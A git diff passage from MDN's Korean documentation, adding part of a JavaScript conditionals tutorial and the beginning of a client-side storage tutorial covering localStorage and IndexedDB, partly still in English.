if (condition) {
+  code to run if condition is true
+} else {
+  run some other code instead
+}
+ +

Here we've got:

+ +
    +
  1. 키워드 if 뒤에 괄호가 옵니다.
  2. +
  3. 시험할 조건은 괄호 안에 위치합니다. (전형적으로 "이 값이 다른 값보다 큰지", "이 값이 존재하는지") 이 조건은 마지막 모듈에서 논의했던 비교연산자(comparison operators)를 사용할 것이고 true 나  false를 리턴합니다.
  4. +
  5. 내부의 중괄호 안에 코드가 있습니다. — 이것은 우리가 좋아하는 코드일 수 있고, 조건이 true를 반환하는 경우에만 실행됩니다.
  6. +
  7. 키워드 else.
  8. +
  9. 또 다른 중괄호 안에 더 많은 코드가 있습니다. — 이것은 우리가 좋아하는 코드 일 수 있고, 조건이 true가 아닌 경우에만 실행됩니다.
  10. +
+ +

이 코드는 사람이 읽을 수 있습니다. — "만약 조건이 true면, 코드 A를 실행하고, 아니면 코드 B를 실행한다." 라고 말합니다.

+ +

반드시 else와 두 번째 중괄호를 포함하지 않아도 된다는 것을 주목해야 합니다. — 다음은 또한 완벽한 코드입니다.:

+ +
if (condition) {
+  code to run if condition is true
+}
+
+run some other code
+ +

하지만, 여기서 조심 해야 할 점— 위의 경우, 코드의 두 번째 블록은 조건문에 의해서 제어되지 않습니다. 그래서 조건이 truefalse를 리턴하는 것에 관계없이 항상 동작합니다. 이것이 반드시 나쁜 것은 아니지만, 원하는 대로 되지 않을 수도 있습니다. — 코드의 한 블록이나 다른 블록이 실행되거나 둘 다 실행되지 않는 것을 원할 것입니다.

+ +

마지막으로, 다음과 같이 짧은 스타일로 중괄호 없이 쓰여진 if...else를  볼 수 있었을 것입니다.:

+ +
if (condition) code to run if condition is true
+else run some other code instead
+ +

이것은 완벽하게 유효한 코드이지만, 사용하는 것을 추천하지 않습니다. — 중괄호를 사용하여 코드를 구분하고, 여러 줄과 들여쓰기를 사용한다면, 코드를 쉽게 읽고, 진행되는 작업을 훨씬 쉽게 처리할 수 있습니다.

+ +

실제 예시

+ +

문법을 잘 이해하기 위해서 실제 예시를 알아봅시다. 어머니나 아버지가 아이에게 집안일을 도와달라고 요청한다고 상상해 봅시다. 부모님께서 "우리 애기, 만약에 쇼핑 하고 가는 걸 도와주면, 용돈을 더 줄게! 그럼 네가 원하는 걸 살 수 있을거야"라고 말씀 하신다면, 자바스크립트에서 이것을 다음과 같이 표현할 수 있습니다.

+ +
var shoppingDone = false;
+
+if (shoppingDone === true) {
+  var childsAllowance = 10;
+} else {
+  var childsAllowance = 5;
+}
+ +

위 코드에는 항상 false를 리턴하는 shoppingDone변수를 결과로 얻을 것입니다. 아이에게 실망을 안겨주겠죠. 아이가 부모님과 함께 쇼핑을 간다면 우리가 부모님을 위해 shoppingDone변수를 true로 설정하는 메커니즘을 만들 수 있겠죠.

+ +
+

Note: GitHub에서 예시를 더 볼 수 있습니다.  complete version of this example on GitHub (also see it running live.)

+
+ +

else if

+ +

지난 예시에서는  두 가지 선택과 결과가 있었죠. — 하지만 우리가 두 가지보다 더 많은 선택과 결과를 원한다면?

+ +

추가로 선택/결과를 if...else에 연결하는 방법이 있습니다. — else if를 사용하여. 각 추가 선택은 if() { ... }else { ... }사이에 추가적인 블록이 필요합니다. 간단한 날씨 예보 어플리케이션의 일부가 될 수 있는 다음의 예시를 확인하세요. 

+ +
<label for="weather">Select the weather type today: </label>
+<select id="weather">
+  <option value="">--Make a choice--</option>
+  <option value="sunny">Sunny</option>
+  <option value="rainy">Rainy</option>
+  <option value="snowing">Snowing</option>
+  <option value="overcast">Overcast</option>
+</select>
+
+<p></p>
+ +
var select = document.querySelector('select');
+var para = document.querySelector('p');
+
+select.addEventListener('change', setWeather);
+
+function setWeather() {
+  var choice = select.value;
+
+  if (choice === 'sunny') {
+    para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
+  } else if (choice === 'rainy') {
+    para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
+  } else if (choice === 'snowing') {
+    para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
+  } else if (choice === 'overcast') {
+    para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+  } else {
+    para.textContent = '';
+  }
+}
+
+
+ +

{{ EmbedLiveSample('else_if', '100%', 100, "", "", "hide-codepen-jsfiddle") }}

+ +
    +
  1. 여기서 우리는 HTML {{htmlelement("select")}} 엘리먼트를 사용하여 다른 날씨 선택과 간단한 문단을 만들 수 있습니다. 
  2. +
  3. 자바스크립트에서 {{htmlelement("select")}} 와 {{htmlelement("p")}} 엘리먼트를 모두 저장하고 있고,  <select> 엘리먼트에 이벤트 리스너를 추가하고, 값이 변할 때 setWeather()함수가 동작합니다.
  4. +
  5. 함수가 동작했을 때, 현재 <select> 에서 선택된 값을 choice라는 변수에 설정합니다. 그런 다음 조건문을 사용하여 choice값에 따라 문단 안에 다른 텍스트를 표시합니다. if() {...} block에서 테스트된 첫 번째를 제외하고, else if() {...}에서 조건은 테스트되는 방법에 유의하세요.
  6. +
  7. else {...}안의 가장 마지막 선택은 기본적으로 "최후의 수단" 옵션입니다. — true인 조건이 없으면 코드가 실행됩니다. 이 경우 아무것도 선택되지 않으면 예를 들어, 사용자가 처음에 표시한 "Make a choice" placeholder 옵션에서 다시 선택하기로 한다면, 문단의 텍스트를 비우는 역할을 합니다.
  8. +
+ +
+

Note: You can also find this example on GitHub (see it running live on there also.)

+
+ +

비교 연산자

+ +

비교 연산자는 우리의 조건문 안에 조건을 테스트하는데 사용된다. 우리는 먼저 Basic math in JavaScript — numbers and operators 에서 비교 연산자를 봤습니다. 

+ + + +
+

Note: Review the material at the previous link if you want to refresh your memories on these.

+
+ +

boolean(true/false)값과 몇 번이고 다시 만날 일반적인 패턴을 테스트하는 것의 특별한 언급을 하고 싶었습니다.. falseundefinednull0NaN이나 빈 문자열('')이 아닌 어떤 값은 조건문이 테스트 되었을 때, true를 리턴합니다.. 그러므로 우리는 변수가 참인지 값이 존재하는지 간단하게 변수 이름을 사용할 수 있습니다.. 예를 들어,

+ +
var cheese = 'Cheddar';
+
+if (cheese) {
+  console.log('Yay! Cheese available for making cheese on toast.');
+} else {
+  console.log('No cheese on toast for you today.');
+}
+ +

그리고 부모님을 위해 집안일을 하는 아이에 대한 이전 예시에서 리턴하는 것을 다음과 같이 작성할 수 있었습니다.

+ +
var shoppingDone = false;
+
+if (shoppingDone) { // don't need to explicitly specify '=== true'
+  var childsAllowance = 10;
+} else {
+  var childsAllowance = 5;
+}
+ +

if ... else 중첩

+ +

if...else문을 다른 문 앞에 넣는 것(중첩하여)은 완벽하게 가능합니다.. 예를 들어, 온도가 무엇인지에 따라 더 많은 선택의 옵션을 보여주기위해 우리의 날씨 예보 어플리케이션에서 업데이트 할 수 있습니다..

+ +
if (choice === 'sunny') {
+  if (temperature < 86) {
+    para.textContent = 'It is ' + temperature + ' degrees outside — nice and sunny. Let\'s go out to the beach, or the park, and get an ice cream.';
+  } else if (temperature >= 86) {
+    para.textContent = 'It is ' + temperature + ' degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.';
+  }
+}
+ +

비록 코드가 모두 동작하더라도, 각 if...else문은 다른 문과 완전히 독립적으로 동작합니다..

+ +

논리 연산자: AND, OR and NOT

+ +

만약 중첩된 if...else문을 작성하는 것 없이 다양한 조건을 테스트하길 원한다면 logical operators 이 당신을 도와줄 수 있습니다. 조건 내에서 사용될 때, 처음 두 가지는 다음과 같이 합니다.

+ + + +

AND 예시를 위해서 앞의 예제 코드 중에서 다음과 같이 작성할 수 있습니다.

+ +
if (choice === 'sunny' && temperature < 86) {
+  para.textContent = 'It is ' + temperature + ' degrees outside — nice and sunny. Let\'s go out to the beach, or the park, and get an ice cream.';
+} else if (choice === 'sunny' && temperature >= 86) {
+  para.textContent = 'It is ' + temperature + ' degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.';
+}
+ +

위 예시에서, 첫 번째 코드 블록은 choice === 'sunny'와 temperature < 86가 true를 리턴한다면 실행될 것입니다.

+ +

빠르게 OR 예시를 봅시다.

+ +
if (iceCreamVanOutside || houseStatus === 'on fire') {
+  console.log('You should leave the house quickly.');
+} else {
+  console.log('Probably should just stay in then.');
+}
+ +

논리 연산자의 마지막 유형인 ! 연산자로 표현되는 NOT은 표현식을 무효화할 수 있습니다. 위 OR 예시와 함께 봅시다.

+ +
if (!(iceCreamVanOutside || houseStatus === 'on fire')) {
+  console.log('Probably should just stay in then.');
+} else {
+  console.log('You should leave the house quickly.');
+}
+ +

위 예시에서, OR 문이 true를 리턴한다면, NOT 연산자는 전체 표현식이 false를 리턴하도록 무효화할 것입니다.

+ +

어떤 구조든지 당신이 원하는 만큼 많은 논리 문을 결합할 수 있습니다. 다음 예시는 두 가지 OR 문 모두 true를 리턴하면, 전체 AND문은 true를 리턴한다는 것을 의미하는 코드를 실행합니다.

+ +
if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) {
+  // run the code
+}
+ +

조건 문에서 논리적 OR 연산자를 사용할 때 일반적인 실수는 값을 한번 체크하는 변수를 명시한 다음, || (OR) 연산로 분리하여 true를 리턴될 수 있는 변수의 리스트를 사용한다는 것입니다. 예를 들어: 

+ +
if (x === 5 || 7 || 10 || 20) {
+  // run my code
+}
+ +

이 경우에 if(...) 내부 조건은 7(또는 다른 0이 아닌 값)이 항상 true가 되므로, 항상 true를 계산할 것입니다. 조건은 "x가 5와 같거나 7이 true면, 항상 그렇다"라고 분명하게 말하고 있습니다. 이것은 논리적으로 우리가 원하는 것이 아닙니다! 이를 동작하게 하기 위해 우리는 각 OR 연산자를 완전하게 명시해야 합니다.

+ +
if (x === 5 || x === 7 || x === 10 ||x === 20) {
+  // run my code
+}
+ +

switch 문

+ +

if...else 문은 조건문 코드가 잘 동작되는 일을 하지만, 단점이 없지 않습니다. 그 문은 두 가지 선택을 가지고 있는 경우에 주로 유용합니다. 그리고 각각은 실행되기 위한 합리적인 양의 코드가 필요하고, AND/OR 조건은 복잡합니다.(e.g. 다수의 논리 연산자) 어떤 값의 선택으로 변수를 설정하거나 조건에 따라서 특정 문을 출력하는 경우 구문이 약간 번거로울 수 있습니다. 특히 많은 선택 항목이 있는 경우에 특히 그렇습니다.

+ +

switch statements 은 당신의 친구입니다. 이는 입력으로 하나의 표현식/값을 받고, 값과 일치하는 하나를 찾을 때까지 여러 항목을 살펴보고 그에 맞는 코드를 실행합니다. 여기 몇몇 많은 수도코드가 있습니다.

+ +
switch (expression) {
+  case choice1:
+    run this code
+    break;
+
+  case choice2:
+    run this code instead
+    break;
+
+  // include as many cases as you like
+
+  default:
+    actually, just run this code
+}
+ +

여기에서: 

+ +
    +
  1. 뒤에 괄호가 오는 키워드 switch.
  2. +
  3. 괄오 내부에는 표현식이나 값을 입력합니다.
  4. +
  5. 표현식이나 값이 될 수 있는 선택이 따라 오는 키워드 case는 콜론이 뒤에 옵니다.
  6. +
  7. break문은 뒤에 세미콜론이 옵니다. 이전의 선택이 표현식이나 값과 일치한다면 해당 코드 블록에서 실행을 멉추고, switch 문 아래에 있는 어떤 코드로 이동합니다.
  8. +
  9. 원하는 많은 다른 케이스를 입력할 수 있습니다. 
  10. +
  11. 키워드 default는 case들과 같은 코드를 입력하고, 일치하는 항목이 없으면 실행되는 기본 옵션입니다. case와 일치하지 않고, 예외가 필요하지 않는 경우 제외할 수 있습니다.
  12. +
+ +
+

Note: default를 반드시 포함하지 않고 생략가능합니다. 다만 필요하다면 미지의 경우를 처리하기 위해 포함해야 합니다.

+
+ +

A switch example

+ +

실전 예제를 해봅시다.switch문을 활용해 일기예보 애플리케이션을 작성하세요.

+ +
<label for="weather">Select the weather type today: </label>
+<select id="weather">
+  <option value="">--Make a choice--</option>
+  <option value="sunny">Sunny</option>
+  <option value="rainy">Rainy</option>
+  <option value="snowing">Snowing</option>
+  <option value="overcast">Overcast</option>
+</select>
+
+<p></p>
+ +
var select = document.querySelector('select');
+var para = document.querySelector('p');
+
+select.addEventListener('change', setWeather);
+
+
+function setWeather() {
+  var choice = select.value;
+
+  switch (choice) {
+    case 'sunny':
+      para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
+      break;
+    case 'rainy':
+      para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
+      break;
+    case 'snowing':
+      para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
+      break;
+    case 'overcast':
+      para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+      break;
+    default:
+      para.textContent = '';
+  }
+}
+ +

{{ EmbedLiveSample('A_switch_example', '100%', 100, "", "", "hide-codepen-jsfiddle") }}

+ +
+

Note: You can also find this example on GitHub (see it running live on there also.)

+
+ +

삼항연산자 

+ +

다른 예제로 들어가기 전에 소개하고 싶은 마지막 구문이 있다.삼항(조건)연산자( ternary or conditional operator)는 조건이 참이면 한 값/표현식을 반환하고 조건이 거짓이면 다른  값/표현식을 반환하는 구문이다.— 이것은 어떤 상황에 유용할 수 있으며, 참/거짓 조건을 간단히 선택할 수 있는 상황이라면 if...else 블록문보다 코드를 훨씬 적게 사용할수 있다. 이 pseudocode는 아래와 같다:

+ +
( condition ) ? run this code : run this code instead
+ +

그러면 간단한 예를 보자:

+ +
var greeting = ( isBirthday ) ? 'Happy birthday Mrs. Smith — we hope you have a great day!' : 'Good morning Mrs. Smith.';
+ +

isBirthday 라는 변수명이 여기 있다— 게스트가 생일이면 '해피버스데이' 메세지를 보내고, 생일이 아니라면  일반적인 '인사' 메세지를 보내는 경우에 해당된다..

+ +

삼항 연산자 예제

+ +

삼항연산자로 변수값을 정할 필요가 없다; 단지  좋아하는 함수나 코드를 사용하면 된다. — . 이 예제는 삼항연산자를 사용하여 사이트의 스타일링 테마를 선택할  수 있는 것을 보여준다

+ +
<label for="theme">Select theme: </label>
+<select id="theme">
+  <option value="white">White</option>
+  <option value="black">Black</option>
+</select>
+
+<h1>This is my website</h1>
+ +
var select = document.querySelector('select');
+var html = document.querySelector('html');
+document.body.style.padding = '10px';
+
+function update(bgColor, textColor) {
+  html.style.backgroundColor = bgColor;
+  html.style.color = textColor;
+}
+
+select.onchange = function() {
+  ( select.value === 'black' ) ? update('black','white') : update('white','black');
+}
+
+ +

{{ EmbedLiveSample('Ternary_operator_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}

+ +

여기에는  black이나 white의 테마를 고르기 위한 '{{htmlelement('select')}}' 엘리먼트가 있고, 여기에 더하여 웹사이트 제목을 보여주는 '{{htmlelement('h1')}}" 엘리먼트가 있다.  update() 함수를 덧붙이면 두 칼라를 입력 인수(parameter)로 선택할 수 있다. 웹사이트 배경 칼라가 첫 번째 칼라로 지정되고, 텍스트 칼라가 두 번째로 정해진다.

+ +

끝으로,  'onchange' 이벤트 리스너는 삼중연산자를 포함하는 함수를 움직('run')이게 합니다. select.value === 'black' 조건을 테스트는 하는 것으로 시작하는데, 이 조건이 참이면  update() 함수가 배경색은 black으로 텍스트 색은  white로 동작하게 합니다. 이와는 반대로 select theme이  white로 선택되면(조건이 거짓이면) , update() 함수는  배경색은 white으로 텍스트 색은  black로 동작하게 합니다.

+ +
+

Note: You can also find this example on GitHub (see it running live on there also.)

+
+ +

Active learning: 간단한 달력 만들기

+ +

이 예제에서는 간단한 달력 어플리케이션을 만들어 볼겁니다. 코드에는 다음과 같은 것들이 들어 있습니다.

+ + + +

onchange 핸들러 함수내에 조건문을 작성해야 합니다. 위치는 // ADD CONDITIONAL HERE 주석 바로 아래입니다. 조건문은 다음을 만족해야 합니다:

+ +
    +
  1. 선택한 달 보기(이것은 값이 변경된 후의 요소 값이 됨.) 
  2. +
  3. days 란 변수를 선택한 달의 일 수와 같게 하기. 다만 윤년은 무시할 수 있다.
  4. +
+ +

Hints:

+ + + +

만약 실수를 하더라도 'Reset' 버튼으로 초기화 할 수 있습니다. 해답을 모르겠다면 "Show solution" 으로 해결방법을 확인하세요.

+ + + +

{{ EmbedLiveSample('Playable_code', '100%', 1110, "", "", "hide-codepen-jsfiddle") }}

+ +

Active learning: 색깔 고르기

+ +

In this example you are going to take the ternary operator example we saw earlier and convert the ternary operator into a switch statement that will allow us to apply more choices to the simple website. Look at the {{htmlelement("select")}} — this time you'll see that it has not two theme options, but five. You need to add a switch statement just underneath the // ADD SWITCH STATEMENT comment:

+ + + +

If you make a mistake, you can always reset the example with the "Reset" button. If you get really stuck, press "Show solution" to see a solution.

+ + + +

{{ EmbedLiveSample('Playable_code_2', '100%', 950, "", "", "hide-codepen-jsfiddle") }}

+ +

Conclusion

+ +

And that's all you really need to know about conditional structures in JavaScript right now! I'm sure you'll have understood these concepts and worked through the examples with ease; if there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help.

+ +

See also

+ + + +

{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.html new file mode 100644 index 0000000000..e2ac144050 --- /dev/null +++ b/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.html @@ -0,0 +1,780 @@ +--- +title: Client-side storage +slug: Learn/JavaScript/Client-side_web_APIs/Client-side_storage +translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage +--- +

{{LearnSidebar}}

+ +
{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
+ +
+ +

현대 웹 브라우저들은 (사용자의 허락 하에) 사용자 컴퓨터에 웹사이트 정보를 저장할 수 있는 다양한 방법을 제공합니다. 그리고 필요한때 그 정보들을 읽어오죠. 이는 당신이 장기간 데이터를 보관할 수 있게 해주고 사이트와 웹문서를 당신이 지정한 설정에 따라 오프라인 상태에서도 사용할수 있게 해줍니다. 이 문서는 이러한 것들이 어떻게 동작하는지에 대한 기본지식들을 설명합니다.  

+ + + + + + + + + + + + +
Prerequisites:JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs
Objective:To learn how to use client-side storage APIs to store application data.
+ +

Client-side storage?

+ +

우리는 다른 MDN 학습영역에서 정적인 사이트동적인 사이트에 대해 이미 설명하였습니다. 현대의 대부분의 웹사이트들은 어떤 데이터베이스(서버의 저장소)를 이용하여 서버에 데이터를 저장하고, 필요한 데이터를 찾아오기 위해 서버-사이드 코드를 돌리고, 정적인 페이지 템플릿에 데이터를 삽입하고, HTML 결과물을 사용자의 브라우저에 표시될 수 있게 제공합니다 - 즉 동적입니다.

+ +

클라이언트-사이드 저장소는 비슷한 원리로 작동하지만, 다르게 쓰입니다. 이것은 개발자가 클라이언트 측(사용자의 컴퓨터 등)에 데이터를 저장할 수 있고 필요할 때 가져올 수 있게 해주는 자바스크립트 API로 구성되어 있습니다. 이것의 다양한 용도는 다음과 같습니다.

+ + + +

클라이언트-사이드 저장소와 서버-사이드 저장소는 대개 함께 사용됩니다. 예를 들면, 당신은 (아마도 웹 게임이나 음악 재생 어플리케이션에서 사용할)음악 파일 여러 개를 다운받아 클라이언트-사이드 데이터베이스에 저장하고 필요할 때 재생할 수 있습니다. 사용자는 음악 파일을 한번만 다운받고, 재방문 시에는 데이터베이스에서 가져오기만 하면 됩니다.

+ +
+

Note: There are limits to the amount of data you can store using client-side storage APIs (possibly both per individual API and cumulatively); the exact limit varies depending on the browser and possibly based on user settings. See Browser storage limits and eviction criteria for more information.

+
+ +

Old fashioned: cookies

+ +

클라이언트-사이드 저장소에 대한 개념은 오래전부터 있었습니다. 웹의 태동기 시절, 웹 사이트들은 사용자 경험(UX)을 개인화하는 정보들을 저장하기 위해 cookies를 사용했습니다. 그것들이 웹에서 보편적으로 사용된 클라이언트-사이드 저장소의 제일 오래된 형태입니다.

+ +

오늘날에는 클라이언트 사이드에 데이터를 저장하는 더 쉬운 방법이 있지만, 이 문서에서 cookies를 사용하는 법을 가르쳐 주지는 않습니다. 그러나, 이것이 현대의 웹에서 cookies가 완벽하게 쓸모없다는 것을 뜻하지는 않습니다. cookies는 세션 ID나 access token 같은 사용자 상태와 개인화에 관련된 정보를 저장하는데 여전히 보편적으로 쓰입니다. cookies에 대한 더 자세한 정보는 우리의 Using HTTP cookies 문서를 참고하세요.

+ +

New school: Web Storage and IndexedDB

+ +

현대의 브라우저들은 클라이언트-사이드 데이터를 저장하는 데에 cookies보다 더 쉽고 더 효율적인 API들을 제공합니다.

+ + + +

밑에서 이런 API들을 더 배울 수 있습니다.

+ +

The future: Cache API

+ +

몇몇 현대적인 브라우저들은 새로운 {{domxref("Cache")}} API를 제공합니다. 이 API는 특정 requests에 대한 HTTP responses를 저장하기 위해 디자인되었고, 웹사이트가 차후에 네트워크 연결 없이도 사용될 수 있도록 사이트 정보를 저장하는 등의 일을 하는데 유용합니다. Cache는 일반적으로 Service Worker API와 함께 사용되지만, 꼭 그럴 필요는 없습니다.

+ +

Cache와 Service Workers의 사용은 심화 주제이므로 이 문서에서는 아래의 {{anch("Offline asset storage")}} 섹션에서 보여주는 것 이상으로 깊게 다루지는 않을 것입니다.

+ +

Storing simple data — web storage

+ +

The Web Storage API is very easy to use — you store simple name/value pairs of data (limited to strings, numbers, etc.) and retrieve these values when needed.

+ +

Basic syntax

+ +

Let's show you how:

+ +
    +
  1. +

    First, go to our web storage blank template on GitHub (open this in a new tab).

    +
  2. +
  3. +

    Open the JavaScript console of your browser's developer tools.

    +
  4. +
  5. +

    All of your web storage data is contained within two object-like structures inside the browser: {{domxref("Window.sessionStorage", "sessionStorage")}} and {{domxref("Window.localStorage", "localStorage")}}. The first one persists data for as long as the browser is open (the data is lost when the browser is closed) and the second one persists data even after the browser is closed and then opened again. We'll use the second one in this article as it is generally more useful.

    + +

    The {{domxref("Storage.setItem()")}} method allows you to save a data item in storage — it takes two parameters: the name of the item, and its value. Try typing this into your JavaScript console (change the value to your own name, if you wish!):

    + +
    localStorage.setItem('name','Chris');
    +
  6. +
  7. +

    The {{domxref("Storage.getItem()")}} method takes one parameter — the name of a data item you want to retrieve — and returns the item's value. Now type these lines into your JavaScript console:

    + +
    var myName = localStorage.getItem('name');
    +myName
    + +

    Upon typing in the second line, you should see that the myName variable now contains the value of the name data item.

    +
  8. +
  9. +

    The {{domxref("Storage.removeItem()")}} method takes one parameter — the name of a data item you want to remove — and removes that item out of web storage. Type the following lines into your JavaScript console:

    + +
    localStorage.removeItem('name');
    +var myName = localStorage.getItem('name');
    +myName
    + +

    The third line should now return null — the name item no longer exists in the web storage.

    +
  10. +
+ +

The data persists!

+ +

One key feature of web storage is that the data persists between page loads (and even when the browser is shut down, in the case of localStorage). Let's look at this in action.

+ +
    +
  1. +

    Open our web storage blank template again, but this time in a different browser to the one you've got this tutorial open in! This will make it easier to deal with.

    +
  2. +
  3. +

    Type these lines into the browser's JavaScript console:

    + +
    localStorage.setItem('name','Chris');
    +var myName = localStorage.getItem('name');
    +myName
    + +

    You should see the name item returned.

    +
  4. +
  5. +

    Now close down the browser and open it up again.

    +
  6. +
  7. +

    Enter the following lines again:

    + +
    var myName = localStorage.getItem('name');
    +myName
    + +

    You should see that the value is still available, even though the browser has been closed and then opened again.

    +
  8. +
+ +

Separate storage for each domain

+ +

There is a separate data store for each domain (each separate web address loaded in the browser). You will see that if you load two websites (say google.com and amazon.com) and try storing an item on one website, it won't be available to the other website.

+ +

This makes sense — you can imagine the security issues that would arise if websites could see each other's data!

+ +

A more involved example

+ +

Let's apply this new-found knowledge by writing a simple working example to give you an idea of how web storage can be used. Our example will allow you enter a name, after which the page will update to give you a personalized greeting. This state will also persist across page/browser reloads, because the name is stored in web storage.

+ +

You can find the example HTML at personal-greeting.html — this contains a simple website with a header, content, and footer, and a form for entering your name.

+ +

+ +

Let's build up the example, so you can understand how it works.

+ +
    +
  1. +

    First, make a local copy of our personal-greeting.html file in a new directory on your computer.

    +
  2. +
  3. +

    Next, note how our HTML references a JavaScript file called index.js (see line 40). We need to create this and write our JavaScript code into it. Create an index.js file in the same directory as your HTML file. 

    +
  4. +
  5. +

    We'll start off by creating references to all the HTML features we need to manipulate in this example — we'll create them all as constants, as these references do not need to change in the lifecycle of the app. Add the following lines to your JavaScript file:

    + +
    // create needed constants
    +const rememberDiv = document.querySelector('.remember');
    +const forgetDiv = document.querySelector('.forget');
    +const form = document.querySelector('form');
    +const nameInput = document.querySelector('#entername');
    +const submitBtn = document.querySelector('#submitname');
    +const forgetBtn = document.querySelector('#forgetname');
    +
    +const h1 = document.querySelector('h1');
    +const personalGreeting = document.querySelector('.personal-greeting');
    +
  6. +
  7. +

    Next up, we need to include a small event listener to stop the form from actually submitting itself when the submit button is pressed, as this is not the behavior we want. Add this snippet below your previous code:

    + +
    // Stop the form from submitting when a button is pressed
    +form.addEventListener('submit', function(e) {
    +  e.preventDefault();
    +});
    +
  8. +
  9. +

    Now we need to add an event listener, the handler function of which will run when the "Say hello" button is clicked. The comments explain in detail what each bit does, but in essence here we are taking the name the user has entered into the text input box and saving it in web storage using setItem(), then running a function called nameDisplayCheck() that will handle updating the actual website text. Add this to the bottom of your code:

    + +
    // run function when the 'Say hello' button is clicked
    +submitBtn.addEventListener('click', function() {
    +  // store the entered name in web storage
    +  localStorage.setItem('name', nameInput.value);
    +  // run nameDisplayCheck() to sort out displaying the
    +  // personalized greetings and updating the form display
    +  nameDisplayCheck();
    +});
    +
  10. +
  11. +

    At this point we also need an event handler to run a function when the "Forget" button is clicked — this is only displayed after the "Say hello" button has been clicked (the two form states toggle back and forth). In  this function we remove the name item from web storage using removeItem(), then again run nameDisplayCheck() to update the display. Add this to the bottom:

    + +
    // run function when the 'Forget' button is clicked
    +forgetBtn.addEventListener('click', function() {
    +  // Remove the stored name from web storage
    +  localStorage.removeItem('name');
    +  // run nameDisplayCheck() to sort out displaying the
    +  // generic greeting again and updating the form display
    +  nameDisplayCheck();
    +});
    +
  12. +
  13. +

    It is now time to define the nameDisplayCheck() function itself. Here we check whether the name item has been stored in web storage by using localStorage.getItem('name') as a conditional test. If it has been stored, this call will evaluate to true; if not, it will be false. If it is true, we display a personalized greeting, display the "forget" part of the form, and hide the "Say hello" part of the form. If it is false, we display a generic greeting and do the opposite. Again, put the following code at the bottom:

    + +
    // define the nameDisplayCheck() function
    +function nameDisplayCheck() {
    +  // check whether the 'name' data item is stored in web Storage
    +  if(localStorage.getItem('name')) {
    +    // If it is, display personalized greeting
    +    let name = localStorage.getItem('name');
    +    h1.textContent = 'Welcome, ' + name;
    +    personalGreeting.textContent = 'Welcome to our website, ' + name + '! We hope you have fun while you are here.';
    +    // hide the 'remember' part of the form and show the 'forget' part
    +    forgetDiv.style.display = 'block';
    +    rememberDiv.style.display = 'none';
    +  } else {
    +    // if not, display generic greeting
    +    h1.textContent = 'Welcome to our website ';
    +    personalGreeting.textContent = 'Welcome to our website. We hope you have fun while you are here.';
    +    // hide the 'forget' part of the form and show the 'remember' part
    +    forgetDiv.style.display = 'none';
    +    rememberDiv.style.display = 'block';
    +  }
    +}
    +
  14. +
  15. +

    Last but not least, we need to run the nameDisplayCheck() function every time the page is loaded. If we don't do this, then the personalized greeting will not persist across page reloads. Add the following to the bottom of your code:

    + +
    document.body.onload = nameDisplayCheck;
    +
  16. +
+ +

Your example is finished — well done! All that remains now is to save your code and test your HTML page in a browser. You can see our finished version running live here.

+ +
+

Note: There is another, slightly more complex example to explore at Using the Web Storage API.

+
+ +
+

Note: In the line <script src="index.js" defer></script> of the source for our finished version, the defer attribute specifies that the contents of the {{htmlelement("script")}} element will not execute until the page has finished loading.

+
+ +

Storing complex data — IndexedDB

+ +

The IndexedDB API (sometimes abbreviated IDB) is a complete database system available in the browser in which you can store complex related data, the types of which aren't limited to simple values like strings or numbers. You can store videos, images, and pretty much anything else in an IndexedDB instance.

+ +

However, this does come at a cost: IndexedDB is much more complex to use than the Web Storage API. In this section, we'll really only scratch the surface of what it is capable of, but we will give you enough to get started.

+ +

Working through a note storage example

+ +

Here we'll run you through an example that allows you to store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of IDB as we go along.

+ +

The app looks something like this:

+ +

+ +

Each note has a title and some body text, each individually editable. The JavaScript code we'll go through below has detailed comments to help you understand what's going on.

+ +

Getting started

+ +
    +
  1. First of all, make local copies of our index.html, style.css, and index-start.js files into a new directory on your local machine.
  2. +
  3. Have a look at the files. You'll see that the HTML is pretty simple: a web site with a header and footer, as well as a main content area that contains a place to display notes, and a form for entering new notes into the database. The CSS provides some simple styling to make it clearer what is going on. The JavaScript file contains five declared constants containing references to the {{htmlelement("ul")}} element the notes will be displayed in, the title and body {{htmlelement("input")}} elements, the {{htmlelement("form")}} itself, and the {{htmlelement("button")}}.
  4. +
  5. Rename your JavaScript file to index.js. You are now ready to start adding code to it.
  6. +
+ +

Database initial set up

+ +

Now let's look at what we have to do in the first place, to actually set up a database.

+ +
    +
  1. +

    Below the constant declarations, add the following lines:

    + +
    // Create an instance of a db object for us to store the open database in
    +let db;
    + +

    Here we are declaring a variable called db — this will later be used to store an object representing our database. We will use this in a few places, so we've declared it globally here to make things easier.

    +
  2. +
  3. +

    Next, add the following to the bottom of your code:

    + +
    window.onload = function() {
    +
    +};
    + +

    We will write all of our subsequent code inside this window.onload event handler function, called when the window's {{event("load")}} event fires, to make sure we don't try to use IndexedDB functionality before the app has completely finished loading (it could fail if we don't).

    +
  4. +
  5. +

    Inside the window.onload handler, add the following:

    + +
    // Open our database; it is created if it doesn't already exist
    +// (see onupgradeneeded below)
